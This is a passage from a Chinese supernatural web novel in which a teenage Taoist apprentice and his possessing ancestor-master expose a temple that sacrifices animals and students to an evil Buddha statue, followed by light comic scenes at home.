江源撇撇嘴,他同桌说得对,体育生都是大猩猩智商,激将法就能上当。他们班男生跟隔壁班打篮球挑战赛,对方明知不敌还答应,就是这么被挑衅的。 两人较着劲,一上午居然打扫完了一层楼。 中午管饭,四个素菜,还有米饭。江源拿着饭盘,毫不客气地打了满满一大盘。 那中年负责人正好看到他们吃饭,笑眯眯地走过来,对他们说:“多吃点,管饱。” 人家都这么说了,不吃饱了显得不讲礼貌。于是,江源心安理得地吃了“区区”三个人的量。 旁边的小刘看得目瞪口呆,忍不住吐槽:“小矮子,你真能吃啊!” 江源甩给他一个白眼,矮怎么了?师祖说了,他还能长呢,男人二十三还窜一窜呢。他才十六,还能长七年,他多吃点,七年后没准能追上祖师奶。 下午,小刘对江源的态度明显好了不少,一个人干活也挺闷的,他主动搭话:“喂,你哪个学校的?” “我是明博一中的。”江源报了学校名。 “明博一中?!”小刘瞪大了眼睛,不敢相信,“你,你还是个学霸?我最讨厌学霸了!” 这里和江源学校都属于帝都外围,和其他省交汇处,好学校不多,但是明博一中绝对算一个。 “不是,”江源老实摇头,“我是学渣,班里,不,我是全校倒数第一。” “倒数第一也比我们这儿强……”小刘嘀咕了一句,语气复杂,看不出来啊,呆呼呼的,竟然学习这么好。 江源不好意思说,他还真不是靠自己考上的。每个学校都需要安插几个像他这样的人,万一有灵异事件,他们要暗中保护学生。正好他家离明博一中比较近。 小刘看他干得和上午一样带劲,小声说:“你慢点吧,傻子,干一天三百,慢慢干,明天还有三百。” 江源惊讶的问:“干不完明天还能来?” “能啊,这个庙的香火越来越好,应该是要扩建,我已经在这里干三天了,他们这几天都在招临时工。”小刘瞥了眼门外,压低声音:“你来的时候看见后面那个破村了吗?据说那块地也被这个庙买下来了,他们要建个大庙。” 江源手上的动作稍稍放缓,但没有偷懒,还是一丝不苟地完成自己的工作。 夕阳西斜,眼看着到了五点半,中年负责人找过来,“小伙子们辛苦了。” 他从钱包里掏钱,“一人三百块钱的工钱。” 江源双手接过自己的那三张,开心的眼睛都笑弯了。 中年人突然说:“小刘你先走,我刚看见你妈在门口等你。” 小刘愣住:“我妈生着病呢,她怎么出来了?我赶紧去看看!”临走时还不忘朝江源挥挥手,意思是明天再见。 待小刘走远,负责人又抽出两百块钱,递给江源:“孩子,你家里困难,这钱你收着。” 江源慌忙摆手,“我已经拿到了我应得的,这钱我不能收。” 中年人不由分说把钱塞进江源口袋:“别告诉小刘,其实,我这里还有个更赚钱的活,不知道你能不能干?” 江源抬头,正撞上中年人幽深的目光,“什么工作?我可以先干活再收钱。” 少年回答的格外天真,眼神清透,眼里满是信任,中年人满意的勾了勾嘴角,没想到这次的目标这么好骗。 他瞳孔微缩,语速突然变得缓慢:“今晚十一点,你独自来停车场等我。” 他的眼睛快速的眨了两下,黑色的瞳孔边缘,出现一层红色的纹路,“记住,自己悄悄出来,不要告诉任何人。” 江源歪着头,“大叔您眼睛不舒服吗?” 中年人:“……” 这小玩意儿是不是太呆了,所以催眠失败? 江源也纳闷呢,大叔的眼睛眨巴什么?那么晚去停车场等他干什么?为什么不能告诉家人?别说他是个学生,就是大人这么晚出门也会交代自己的去向吧?万一他被拐去嘎腰子怎么办? 中年人深吸一口气,让自己冷静,心想可能是这孩子反应慢,他再次对江源加大精神暗示:“你晚上十一点来附近的停车场,不要告诉任何人,记住了吗?” 江源刚想拒绝,脑海中突然响起段安洛的话:“答应他。” 江源没来得及问段安洛能在他脑子里说话,条件反射的答应了,“知道了大叔,我一定准时到!十一点到停车场,不告诉任何人。” 中年人仔细看着江源的眼睛,看起来呆呆的,符合被催眠的特征,他这才松了口气,还好,没有失效。 紧接着他就听江源问:“大叔,晚上也会送鸡蛋吗?” 中年人嘴角抽了抽,你都被催眠了,还记挂着那几个鸡蛋? 他忍着怒气,哄道:“不仅有鸡蛋,还有肉,很多寺庙不能吃的肉,都让你带走。” 江源满意了,“您放心吧,我不会告诉别人的。” 出去之后,江源就找他队长告状去了,“他说晚上有肉,还让我一个人去拿,还不能告诉家里人。队长你听听,这不是人贩子惯用的伎俩吗?亏我还当他是个好人,那几个学生,可能就是被他拐走了。” 说完江源不好意思的笑了笑,“对不起,我不该总结的。” 他是调查组,任务就是做调查,结果给专业的人分析,他说出结论会影响专业的人判断。 车里的人都好奇的盯着他看,这孩子是真傻还是假傻,这不是挺聪明的吗? 许强给他们使眼色,不是傻,是愣,反射弧有点长,但是这孩子听话,不贪。你给他安排个任务,他会听话的按照你的指示去做,绝对不会乱来。 这下子,把其他人看眼红了,这孩子就是个乖宝宝啊,能换不?给你三个聪明的,换这一个呆的,换不换? 这想法把许强吓一跳,换个毛啊,那些皮孩子,一个就够受的了,你们还想给我三个? 此时的小刘也遇到了状况,他从正门出来找他妈,却没有看到他妈的身影,正着急寻找的时候,就看到远处停着一辆救护车,上面开着一扇窗户,有个医生打扮的人正对他招手,“刘鑫!你妈晕倒!快过来!” 小刘来不及多想,赶紧朝着那俩救护车跑过去,那车待他跑近了,后门打开,不等小刘看清楚,两个身高体壮的医生就把他拖上车。 再一看,车上除了这两个大男人,哪有他妈的身影? 这是辆假的救护车! 他想跑,已经来不及了,车门被关,一针扎在大腿上,还没等他反抗,眼前一黑,立马晕了过去。 此时,佛堂下方的地下三层,有一个百平米左右的空间,中间是个升降台,按动按钮后,地上的佛像缓缓降落下来。 墙上挂满了流浪动物的尸体,它们身上全都流着血,有的伤口深可见骨。 这都是附近的救助者送过来的,一开始只是几只,知道这里能把流浪动物养好后,慢慢发展到十几只,几十只。 可惜,现在天气暖和了,流浪动物的生活环境没有那么苦,送过来的动物就少了。更可气的是,救助的人给这些猫狗做了绝育手术,连生都不能生了。 这两个月,全加起来也就四十余只,它们的生命全都献祭,菩萨还是不太满意。 “效果还是不如人的好。”新来的负责人悲天悯人的看着那些动物尸体,“都处理了吧。” 说着他走向另一边,被绑在十字架上的女孩垂着头,马尾散落,一头白发遮住长满老人斑的脸,裸露在外面的皮肤皱皱巴巴,像个将死的百岁老人。 可是她身上的校服却清晰的印着四个大字:G城三中。 给江源开工资的那个中年人递给负责人两张照片,一张是江源,一张是小刘。 “这一只小羊羔家里还有人,可以喂养几天,等风头过了再用。我们可以先用这一只呆的,他家里只有一个快死的老头子。” 负责人拿着江源的照片,笑了,“希望这只小羊羔,能让菩萨满意。” 晚上,许强他们让江源吃饱饭,检查了一下他身上的定位器和监听器,又给他藏了几张符纸,保证即便电子设备丢了,也能根据他的魂魄找到他的位置。 一切准备妥当,这才敢放江源出门。 许强还是不太放心,“有危险就跑,战斗组就在附近,别怕,别露馅。” 江源冷静的说:“队长放心,保证完成任务。” 许强心累,他不是想让他完成任务,他是想让他机灵一点,有危险就跑。 江源去的时候还跟队长要了两个麻袋,万一真给肉,他真给装回来。 他从距离停车场有一千多米的地方下了车,自己往停车场走。到那里的时候,已经晚了五分钟。江源坐在花池边,一边等一边数蚊子。 又过去了十多分钟,那个大叔才来。 对方没有下车,窗户打开一条缝,小声说:“上车。” 江源连一丝犹豫都没有,打开车门就上去了。中年人看到他手里的麻袋,“你这是?” “装肉啊,你不是说有很多不吃的肉吗?” 中年人眼皮子直抽,被催眠还记着肉,还他妈拿俩麻袋,你小子是真贪啊! 他没发现,一直在后面乖巧坐着的江源,脸色的表情渐渐变得玩味起来。和他白天憨憨的表情不一样,他整个人慵懒的靠在椅背上,眸中带笑,却没有一丝温度。 车在距离寺庙两百多米的地方停下,这附近要拆迁,已经被围了起来,没有监控,并且晚上也没人来。 这附近有个小门,中年人回头,对江源再次暗示:“下车,自己开门进去,一直往里走。” 江源好奇的问:“大叔,里面真的有肉吗?你不会骗我吧?” 中年人不耐烦的说:“你进去就有了。” 肉肉肉!一会儿就让你变成肉! 就听江源嗤笑一声,声音慵懒,拉长的语调透着调侃,“大叔,十二点了哦。子时正中,阴气重,干坏事容易撞鬼哦~” 这时候,俩人也注意到江源的不对劲,这说话的语气可不像被催眠的小呆子。 俩人顿时脊背发凉,头皮发麻,还没等回头,就被一道无形的绳索勒住脖子。 附身在江源体内的段安洛,一点一点勒紧锁链,让他们感受到窒息的同时,阴恻恻的说:“会撞鬼的哦~” 江源突然的变化,不仅让俩人毛骨悚然,连监听的人都被吓一跳,怎么回事,江源被鬼附身了?什么鬼啊,连道士都敢附身? 段安洛把江源藏在裤腿里的设备拿出来,学着江源的动作戴在耳朵上,声音欢快:“喂喂喂?秋雅在吗?” 已经被夺走身体控制权的江源双手捂脸,小脸通红,第一次发现,自己的声音竟然这么好听。 33 这个祭品,我喜欢 最紧张的莫过于江源的队长许强,“你是哪条道上的?这孩子是玄学公会的,没干过坏事,你……” “许队长,别紧张。”段安洛听出对方的关心,温和地回应:“我家孩子多谢你照顾。” “你是他太爷爷?”队里的人都知道江源的太爷爷来找他了,听江源说岁数不大,实力特别强,许强松了口气,随即心又提了起来,“你附在江源身上了?” 这孩子也没说他太爷爷会是个鬼啊! 段安洛松了松手里的绳子,免得一下子把这俩人勒死,笑着解释:“门内秘术,我是活人。” 许强这才彻底放松下来:“那我就不打听了,没事就好。” “我留了两个帮手看着这两人,你们来取一下。” 许强听出他的意思,赶紧道:“你等我们过去,不要自己行动!” 段安洛推开车门,准备下车,“时间久了会打草惊蛇。” 一直跟着江源的两只小狐狸用尾巴勒着两人的脖子,快勒死的时就松一松尾巴,让他们喘口气,怕他们跑了,紧接着又勒紧。 生死关头,中年人的瞳孔周围长出红色的纹路,身上若隐若现的浮现出动物的虚影。 小狐狸用爪子抽他嘴巴,奶呼呼地骂:“跟老娘玩迷惑心智这一套,你也配?要不是地方太小,老娘就把你魂魄掏出来当铃铛甩!” 段安洛下了车,走了两步看看自己的腿,又走了两步再看看,哭笑不得,好短! 他迈着小步子走进一个废弃的院子,一直走到尽头,推开一扇小门,地上露出一个小洞口。 段安洛看了看周围,先画出一道虚空灵符飞下去探路,确定没有危险之后,才跟下去。 下面是个伸手不见五指的地下室,走了十几米,前方出现微弱的灯光。 一条狭窄的地下通道,走到尽头一拐弯,又是一道铁门。 段安洛想到小刘对江源说的,这个庙打算扩建,把后面都买下来,看样子,是打算把地下打造的像老鼠洞一样,不仅能作为犯罪的窝点,还能随时逃出去。 就是不知道把庙给他弄塌了,他们还这么逃。 进去后又走了十几米,一扇门虚掩着,刺鼻的血腥味扑面而来。 段安洛看到门口站着一个戴着眼镜,长相斯文的中年人,好像是在等他。 段安洛客气的说:“大叔,我来拿肉。” 负责人一愣:“什么肉?” 段安洛挥了挥手里的麻袋:“你们不是让我来拿肉吗?我麻袋都带来了,肉呢?” 负责人心里嘲讽:催眠之后还记挂着肉?上一个被催眠后是记着回家写作业,已经被烧成粉,当花肥了。骨粉养花,开得格外艳丽。 段安洛叹了口气,“连呆子都骗,真不是人啊。” 这里空间并不大,只有一百多平米,看起来像个祭祀的地方。两侧的墙上挂着无数铁钩,上面还有很多黑色的血,血液太多,已经沁入墙体,腥臭味就是从那里散发出来的。 只一眼,段安洛就看到无数流浪猫、狗被挂在上面,拼死挣扎的画面。 他闭了闭眼,让画面闪过,瞳孔中红色渐深。 正中央矗立着一尊三米高的菩萨雕塑,正赤足踩在莲花台上,手中拿着一朵双头花,俯视下方。 它眼睛眯着,嘴角挂着浅笑,看起来比院子里那尊佛像更加邪恶。 段安洛抬头,和佛像对视,漠然的说:“这法相即使被菩萨弃了,也不是你能碰的。” 负责人察觉到不对劲,警惕的往后退,“你是什么人?” 段安洛脚下,纯正的佛家真气形成一朵和佛像脚底外貌相似的莲花,随着灵气的增加,莲花开始变大。 “本人佛、道、仙三法同修,你觉得我是什么人,我就是什么人。”段安洛一步一步往里走,每走一步,脚下的莲花就变大几分。 直到和菩萨雕塑脚底的莲台一样大,他停下脚步,花瓣绽放,现出里面一模一样的莲台。 段安洛打量了一下周围,开心的笑了,眼里却没有一点温度,“这个地方真好,闹出多大动静,都不会被人听见。” 可惜,缺个打手,只能他自己上了。 花瓣突然散开,段安洛抬手,“起!” 一个灵气莲花牢笼,瞬间把整个空间笼罩在内。牢笼之内,黑色的邪气翻涌,段安洛含笑的看着那个佛像雕塑,“这个祭品,我很喜欢!” 黑色的邪气如同粘稠的液体,疯狂吸收着牢笼内所有的负面气息……煞气、鬼气、怨气、杀气……任何与黑气碰触的东西都会被吞噬掉。 圣洁的莲花,庄严的佛像,邪恶的黑气,三者混在一起,被那只不大的手,轻轻搅动,形成奇异的对峙画面。 负责人害怕了,这小子的呆,是装的! 真他妈能装! 他想逃,却一头撞在牢笼上,莲花化作尖刺,对着他的喉咙扎过去,却在刺破的那一瞬间,尖端勉强的停下来。 段安洛忍了又忍,最终灵气化成绳索,把人绑了。他不想用江源的手杀人,一会儿孩子的同事来了,孩子也不好解释。 就这么绑着对方,段安洛感觉太舒服了,直接把人吊起来,像那些小动物一样,挂在墙上,像等着风干的腊肉。 挂完了段安洛还是觉得不解气,干脆把人倒着头吊,他没有给他开膛破肚的挂着,是他的仁慈。 江源还纳闷呢,怎么没把这个人渣打死?他已经激动的快要抽过去了,想象中的自己就是这样的!就、是、这、样、的! 他学着段安洛的动作在脑海中比划,一抬手,灵阵起,道家真气让他神挡杀神,佛挡杀佛!他一动,步步生莲,庞大的佛家灵气让敌人无处可藏,灰飞烟灭!“杀!杀!杀!” 段安洛抽了抽嘴角,提醒他:“源儿,你太吵了。” 江源赶紧捂住自己的嘴,他已经激动的喊出来了吗?他真的要撅过去了,他太激动了。 此时的佛像,随着段安洛的动作,表情也发生了细微的变化。 被倒挂在墙上的负责人此刻才猛然明白过来:小矮子把佛像当成祭品了! 段安洛屈指一弹,黑色的气变成一条条黑色的线,像藤蔓一样攀在雕像上,吸收附着在里面的邪恶气息。 后卿的能力在他手里,玩得跟儿子一样,段安洛现在想的很开,既然不害人,吸收这些邪气后还能强健身体,为什么不用? 一把刀,用在好人手里,就是一把斩妖除魔的好刀。 用在坏人手里,就是一把杀人如麻的邪刀。 全看用的人心性如何。 随着黑气吸收的负面能量越来越多,佛像突然动了! 吱嘎……吱嘎……刺耳的摩擦声在密闭空间里回荡,紧接着,一直半眯着眼睛的佛像,睁眼了。 段安洛站在原地没动,温和的提醒里面的东西:“出来吧,别毁了这尊法身。” 与此同时,堆积在角落里,还没处理的那堆动物的尸体,竟都诡异地动了起来! 它们晃晃悠悠地站起身,有的已经死去好多天,尸体已经腐烂,上面甚至爬满了蛆虫,散发着浓烈的腐烂恶臭。 有的是被开膛破肚,内脏拖曳在外面,死前的痛苦像面具一样刻在它们的脸上,到现在都能看出它们的痛苦。 有的缺胳膊少腿,只剩残肢,连站立都做不到,此刻却都像被无形的线牵引着,挣扎着,晃晃悠悠的站起来。 段安洛眼神一凝,灵气骤然下压,“嘭!”封闭的空间内爆出一声沉闷的巨响。 那些刚刚站起的腐烂动物尸体,瞬间被灵气震趴下,紧接着操控它们的邪气也被强行吸走。 察觉到再这样下去,自身的力量会被吸干,佛像的手掌朝着段安洛的头顶拍下来,段安洛站着没动,莲花花瓣随着他的心思移动,叠了三层,上面长出无数尖刺,像反甲一样对着上方。 轰隆一声,佛像的一条石头胳膊被生生震碎。 段安洛挥了挥手,扇飞脸前的石头灰,“我提醒过你了,不要毁了这尊法身,你怎么就是不听呢?” 段安洛这个态度,彻底惹怒了佛像,被震趴下的动物尸体再一次动起来,有的挣扎力气过大,把自己的骨头都拧断了,拖着残躯和内脏,在冰冷的地面上爬行,发出令人牙酸的骨骼摩擦声。 段安洛冷下脸,“漠视生命,玩弄亡者,你永远成不了佛!” 这佛像吸收了小动物们死前的怨气,产生了灵性,明知道小动物们是怎么死的,还要接受信徒孽杀动物,外表长得像菩萨,却一点佛性都没继承下来。 成梁峰上的石头龟,马春山上的人头石,屏正坝上的石猿猴……大自然中类似的石头在快要成型的时候,都被人为破坏掉,不仅是它们成型会引发天地异动,还因为它们没有三魂,没有人心。 失去一条胳膊的佛像,朝着段安洛当头压下来,空间太小,段安洛只能不停的躲避,没个打手在身边,干活就是费劲! 他下午就给司苍发信息了,这个武夫竟然没回他。段安洛没办法,司苍进化了,不好骗了。要是以后骗不过来,他只能养几个好用的打手。 司苍这个武夫,武力值是高,但是不听话,心眼子还多。打手,就要指哪儿打哪儿,不能研究老板,更不能把老板当挂件拎走。 段安洛心中盘算,动作却不慢,往后快速退了几步之后,左手虚握,磅礴的灵气瞬间在他掌中凝聚、拉伸、定型,化作一张古朴而威严的灵气长弓。 君子六艺,弓居其一。 他右手凭空一点,黑色邪气变成箭的模样,搭在弦上,目标不是佛像的重要部位,而是刁钻地射向佛像的肩部、腹部和腿部。 箭尖触碰到佛像的瞬间,猛地变成黑色钩爪,扣住藏在佛像里面的邪祟。 段安洛抓住这一头,猛地向后一扯! 一声非人非兽的声音从佛像中传出来,和段安洛僵持着,里面的东西到现在了,都舍不得这具石头身体,死活不出来。 段安洛咬着牙拽了拽,没拽动,他有点生气了,我跟你玩拔河呢? 他左手掐诀,“雷部正神,听吾号令,诛邪——降!” “轰隆!!” 一道刺目的紫色雷光凭空出现,撕裂了地下空间的黑暗,带着天威,精准地劈在佛像的头上。 震耳欲聋的爆响中,石屑纷飞,烟尘弥漫! 佛像重重的砸落在地上,摔得粉碎! 段安洛慌乱的躲开砸过来的碎石头,他需要收一只皮糙肉厚的仙家护身,小白也可以,可惜小白的灵魂契约在司苍身上。 黑色龙爪的另一端,一团由怨气凝结而成的黑色物质,彻底暴露在空气中,它翻滚,扭曲,渐渐勾勒出一尊迷你的、却更加邪异狰狞的菩萨虚影。 这才是掌控佛像的灵魂。 它依旧摆脱不了黑色龙爪的控制,并且能感觉自己身上的力量在快速被吸走,它惊慌的说:“你放了我,我保你长生不老,百病全消。” 段安洛嘲讽的问:“靠转移他人的生命精气,保我长生不老,百病全消吗?” 他一步步逼近对方:“就因为他们年纪小,有活力,生命精元充沛?就因为他们涉世未深,容易被谎言欺骗?” 段安洛的脸色越来越冷,“哪一个孩子,不是父母倾注心血、精心养育十几年的心头肉?他们的人生才刚刚开始,却成了你招收信徒的牺牲品。最可恨的是,”段安洛没好气的拍了拍自己心口,“这样的呆娃儿,你们都不放过!” 激动到灵魂都在摇摆,幸福到站立不稳的江源:啊? 段安洛抬手,黑色的邪气凝聚成一把窄背的唐刀,就在他想要斩了这个邪祟的时候,灵魂突然一晃。 段安洛心头一跳,不好的预感。 他慌忙斩下去,可惜还没碰到邪物的头,唐刀就化作虚影,在邪物的头顶消散。 突然拿回身体控制权的江源傻了:这……不是,那个,师祖呢? 回到自己身体里的段安洛,看着自己的手,也愣住了,身体还没有完全恢复,附身的时间竟然这么短! “师祖?师祖?!”江源叫了两声,发现没有回应,再一看周围阴森血腥的环境,再看脚底下已经失去束缚的神像…… 江源咬着牙往后退了两步,默默转身。 神像察觉到那个压迫自己的气息不见了,黑色的怨气翻涌,缓缓站了起来,杀气浓郁的要溺死江源,“找死!” 江源拔腿就往外跑,小短腿跑得跟跨栏一样,几乎甩平,“队长救我啊!!!” 34 我师祖说,想把你换了 江源说话的语调突然恢复了正常,还喊救命,许强心说坏了,附在他身上的那位太爷爷已经离开了! 就江源那三脚猫的功夫,都不够邪祟塞牙缝的。 几乎是同时,他跟着战斗组一起往里冲,可惜道路窄,只能容一个人经过,里面又黑,还有拐弯,在里面根本跑不快。 江源拼命的向外跑,但显然太迟了,一道阴森粘稠的黑影,带着令人作呕的血煞之气,直掏江源的后心。 就在这千钧一发之际,江源身上出现一个铃铛的虚影,上面挂满了道家箴言,在邪祟碰到江源的瞬间,铃铛表面爆发出一层青光。 紧接着,铃铛变大,变成一个钟形的虚影,将他牢牢护在里面。 “铛!”邪祟撞在虚影上,不仅没有伤到江源,反而被道家真力狠狠弹飞出去。 “嗷!”邪祟发出一声惨叫,被青光碰到的地方冒起了黑烟。 江源知道,是师祖送他的护身铃,求生的本能让他平时都是混沌不清的灵台变得清明了不少,他能看到周围各色的气息,不用回头也知道身后的东西距离自己还有多远,甚至能看到队长就在不远处。 江源来不及多想自己的变化,爆发出前所未有的速度,拼命向外跑。 可惜,他跑太快了,拐弯的地方差点撞墙上,就在他停顿的时候,那股气息又到了,这次的目标是他的后脑勺! 江源头皮发麻,眼泪不受控制地往外冒,“列祖列宗、如来佛祖、无量天尊、师祖啊啊啊!” 就在江源绝望的时候,“嘭!嘭!嘭!”接连三声沉闷的巨响,一个黑色长条状的东西,像裹着万斤的重量,势如破竹地连续贯穿了三层坚硬的钢筋水泥楼板,扎在邪祟刚凝结出的身体上,深深插入江源身后的地下,狂暴的力量在地面炸开一片像蜘蛛网一样的裂痕。 追杀江源的邪佛只来得及发出一声短促的惨叫,瞬间没了动静。 江源一个踉跄,差点后仰进身后刚砸出来的坑里,他惊魂未定的回头看了一眼,本来就呆,太震惊了,直接就呆住了。 竟然是一柄古朴厚重的黑色刀鞘! 上面还燃烧着黑色的火焰,残存的邪气在火焰中扭曲了几下,就彻底化为青烟,魂飞魄散。 江源傻愣愣地抬起头,顺着刀鞘砸下来的地方往上看,楼板被砸穿了好几层,夜空之上,一轮弯月清冷高悬,月光下站着一个修长挺拔的身影,从这个角度看,腿……好长! 司苍几个借力,从上面跳下来,稳稳落地,听不见一丝声响。 他手中握着一柄长刀,上面也在燃烧着黑色的火焰,不像段安洛用黑气变出来的那种窄背唐刀,这个刀身比唐刀稍微厚重一些,也更长一些。通体玄黑,刀身上似乎盘绕着某种古老的龙形纹路。 司苍把插进水泥板里的刀鞘拔出来,一甩上面的灰,收刀入鞘,动作帅的江源一激灵,“祖师奶!” 劫后余生,终于找到主心骨了,江源激动的跑过去,想像抱段安洛一样,去抱司苍胳膊,结果被司苍一只手摁住头,江源伸着两根胳膊够了够,没够着。 再看司苍手里的刀,江源直接就哭了:他竟然还没有刀高! 司苍的目光落在江源脸上,语气带着明显的嫌弃,“哭什么?” 江源狠狠擦了擦眼泪,“祖师奶,我差点死了。” 司苍抽了抽嘴角,“这是什么称呼?” 已经赶到的许强看到江源没事,这颗心才落地,看着眼前这位气场强大的年轻人,他好奇,这就是江源口中的太爷爷?气质和想象中不一样啊。 江源绞尽脑汁,试图换个更合适的称呼:“呃,太爷爷?祖爷爷?太、太祖爷爷?师祖奶?” 感觉哪一个都没有祖师奶顺口,怎么办? “停。”司苍无奈地打断他,再叫下去,他都死好几轮了,他环视四周,眉头微微蹙起来,“他呢?” 江源一愣,谁? 司苍无语,这种小呆瓜子都能当玄门掌门,玄门真是没人了。 许强在一旁暗自观察,已经确定了,气质和说话方式都截然不同,眼前这位像他手里的刀,霸道,锋利。刚才那个也很强,但感觉更慵懒随性。江源这个小呆头鹅什么时候认识了这样的人? 江源终于反应过来,“我师祖走了。” 想起段安洛突然离开,小孩语气不由得带上了几分委屈,吓死他了,他差点没了,他没了师祖怎么生活?师祖连碗都不会洗! 司苍的语调微微上扬,“走了?” 江源点点头,补充道:“嗯,说走就走了。” 司苍的眉头瞬间拧紧,连空气都凝滞了几分。段安洛把他叫来,说是有生命危险,让他来救命,还特意嘱咐带武器。结果,他来了,段安洛自己走了? 一股无名的火气在心底窜起来,他本就不想来,段安洛总能微妙地左右他的想法,影响他的判断,让他这个极度自律、习惯掌控一切的人感到极其不适,甚至,隐隐有些失控的烦躁。 特别是带着段安洛去见周师父之后,他就下意识地想避开段安洛。 他自己也说不清为什么非要确认段安洛就是原来那一个,仿佛内心深处固执地认定,能与他缔结那特殊契约的灵魂,必须是段安洛,也只能是段安洛,他接受不了别人。 这种莫名的执念让他烦躁,段安洛爱死不死,他连信息都没回。 然而纠结半天,他发现自己的心根本就静不下来,担心那个不省心的真把自己作死了,他最终还是忍不住,过来看一眼。 结果呢? 段安洛竟然不在! 强压下翻涌的情绪,司苍冷着脸问:“他解决不了的那个东西呢?” 他环顾着这片狼藉的地下室,“不是有个杀人如麻,刀枪不入,怨气冲天,连他都打不过的什么佛吗?” 江源指了指司苍脚边,刀鞘把邪祟插进水泥板里的地方,有一个很深的洞,上面还有邪祟被燃烧后留下的一个浅浅的印子。 江源:“就是这个。” 司苍顺着江源手指的方向低头瞥了一眼,又抬眼看了看江源,再扫视了一下冲进来的人惊魂未定的表情,沉默片刻后,他薄唇微启,冷冷地吐出两个字:“就这?” 就这?还就这?江源急了,手舞足蹈地比划:“不是啊!这邪祟可厉害了!是我师祖把它从石头雕塑里抓出来后才变弱的!这么大个的石头怪!真的邪气冲天,刀枪不入!我师祖引雷,把它炸碎了,地上全是石头!” 司苍认真地听完,不是很懂,但也表示尊重,“哦。” 江源:“……” 算了,既然解释不清,那就不解释了。高个子的世界,他果然不懂。 许强和战斗组的成员小心翼翼地围了上来,他们对司苍展现出的恐怖实力既敬畏又忌惮,但职责所在,还是硬着头皮请示:“前辈,我们进去查探一下现场?” 他们需要确认邪祟是否彻底清除,是否有其他隐患或是遗留物。 司苍微微颔首,算是默许,没有表明自己的身份。 许强他们谨慎地进入那片狼藉的地下室,已经不能算地下室了,只能算天坑,能看到上面的月亮。 司苍出去后,火气实在压不住,忍无可忍的给段安洛打电话,“你人呢?” 段安洛惊喜的问:“你真去了?我以为你不管我了。” 说完他意识到自己的不对,赶紧解释:“我本来附在源儿身体里,谁知道一下子就回来了,你等着,我去找你。” 主要是他没想到附身时间这么短,江源的安全他倒不担心,知道孩子废,他闲着没事就给孩子加一层防护,到现在为止,他在源儿身上留了多少层的防护,他自己都数不清了。肯定有惊无险,正好让江源磨练一下。 唯一不好意思的,就是让司苍白跑一趟,他还以为司苍不去了呢。 听出段安洛的歉意,司苍的火气莫名的消了一些,“别来了,处理完了。” 段安洛已经从沙发上爬起来,“没完,背后没人支持,这个庙不会开这么久,没有资金支持,他们也不能买那么大块地。我还想把庙拆了呢,没来得及。你等我,我打车去,很快的。” 算算路程,打车也要两个小时,其实一点都不快。 司苍从他那边开车过去,也要一个多小时,段安洛暗暗摇头,太祖太宗在上,他可真不是人啊,怎么就逮着司苍一个人祸害呢?奇怪的是给他换一个人,他都下不去手。 段安洛拉开抽屉,从里面翻了翻,突然底气不足的问:“那个,从我家打车去你那边,需要多少钱?” 司苍:“……” 段安洛的手机里已经没有钱了,抽屉里还有一点点现金,一点点。 短暂的沉默后,就听司苍低沉的声音里透着冷漠:“我回去了。” “等一下!”段安洛知道对面下一秒就要挂断电话,下意识的喊了暂停,说完后他不知道说什么了,又觉得不说点什么,有点尴尬。 “那个,谢谢你。” “就说这个?”司苍的意思是,没别的事就挂了。 段安洛笑了笑,声音温和:“我给你的挂件,管用吗?” 司苍顿了顿,“嗯。” “那就好,”段安洛的声音透着欢快,“我多做几个。” 挂断电话后,司苍沉着脸,把刀放进一个黑色的箱子里,放完后上了锁。手掌落在盒子上,微微出神。他本来一肚子火,给段安洛打电话是为了质问他,怎么段安洛说了两句话,他的火气就消了大半?他是疯了吗? 这时候江源跑过来,他想半天也没想好怎么称呼司苍,也不敢乱说了,“那个,您要回去吗?能带我一起走吗?队长他们还有很多事要做,没人送我回去。” 司苍冷冷的说:“我不去你家。” 换做别人,早就看出司苍心情不好,远远的躲开了,可江源不怕他,看司苍的眼神就像看段安洛的同辈,跟他的家人一样,他担忧的问:“祖师奶,您和师祖是不是吵架了?” 司苍看他仰着脖子跟自己说话,挺累的,耐着性子回了一句:“没吵架。” 江源:“我听师祖在心里说,他想把您换了,换几个听话的。您是不是惹师祖生气了?回去哄哄他吧,他很好哄的。” 司苍:“……呵!” 他把江源拎起来,塞进车里,他要亲眼看着段安洛换,今晚要是换不了,解不开这个契约,他就弄死他! 35 不生气就跟我一起睡吧 段安洛把家里能放钱的地方都翻了一遍,死心了,他真的没钱了。 怪不得网友说钱难赚、屎难吃,更有甚者说宁愿吃屎都不愿意赚钱,网友诚不欺我,他费这么大的劲赚的钱,都不够花的。 段安洛在客厅里溜达了两圈后,目光扫过正盘在沙发上睡觉的小白,走过去一把掐住小白头部以下,大概算脖子的地方,恨铁不成钢地骂它:“你都五百多年的道行了,连自己的大小都控制不住吗?你这么大一坨,我怎么带你出去赚钱?” 小白被他掐得有点懵,无辜地眨了眨金色的竖瞳,委屈巴巴地吐了吐信子,也不是不能变小,主要是司苍爸爸喜欢大的,看起来威武。 它个头大也有优点,吃得多。它看见别的小蛇,一顿只给几根肉条,它这体型,司苍会给它一头牛。 段安洛没好气地命令:“你给我变小一点,我带你出去赚钱。” 小白不情不愿地扭动身体,庞大的身体肉眼可见地缩小了一圈,从水桶粗变成成年男子的大腿那么粗,长度也缩短了不少。 段安洛看着还是觉得太扎眼,“不行,再小,再短点。给我变到能缠在手腕上,练!以后就按这个标准练!” 想象一下,打架的时候,小白突然从手腕上飞出去,变成巨大的一坨蛇,就是砸,也能把对方砸死,这赚钱不就快了吗? 小白把自己盘成一团,用尾巴勾住段安洛,别变了,逃吧。 段安洛以为它在撒娇,“撒娇也没用,赶紧变。” 小白和司苍是签了主仆契约的,感受到它爹的怒气,小白尾巴尖都颤了,你快长点心吧,他带着刀来的! 段安洛直接把小白镇压了,“三天之内,你要是变不到手镯大小,我就把零食给你断了!” 小白无力的倒在沙发上,要了它的命它也做不到,它只能尽力。 三只被关在笼子里的黄鼠狼,看着段安洛突然冒出来的火气,被吓得缩了缩脖子。段安洛看见它们之后,踢了笼子一脚,“赶紧把玻璃钱给我赚出来,要不然谁也别想走。” 小白缩了缩脖子,好吧,这个它也惹不起。 段安洛生气和司苍生气完全不一样,司苍再生气也会保持克制,权衡利弊。段安洛不一样,他有气当场就发了,路过的狗都要夹着尾巴走,要不然狗都要挨两巴掌。 司苍刚停下车,江源就往家跑,客厅的灯没有关,给荒凉的街道增添了几分暖意。 到家后,江源小心翼翼地推开段安洛的卧室门,发现段安洛已经睡着了,江源把所有的话都憋了回去,没敢叫人。 他师祖有起床气,被吵醒会踹人的。 江源扭头跑回自己房间,赶紧看看他的铃铛坏了没有。 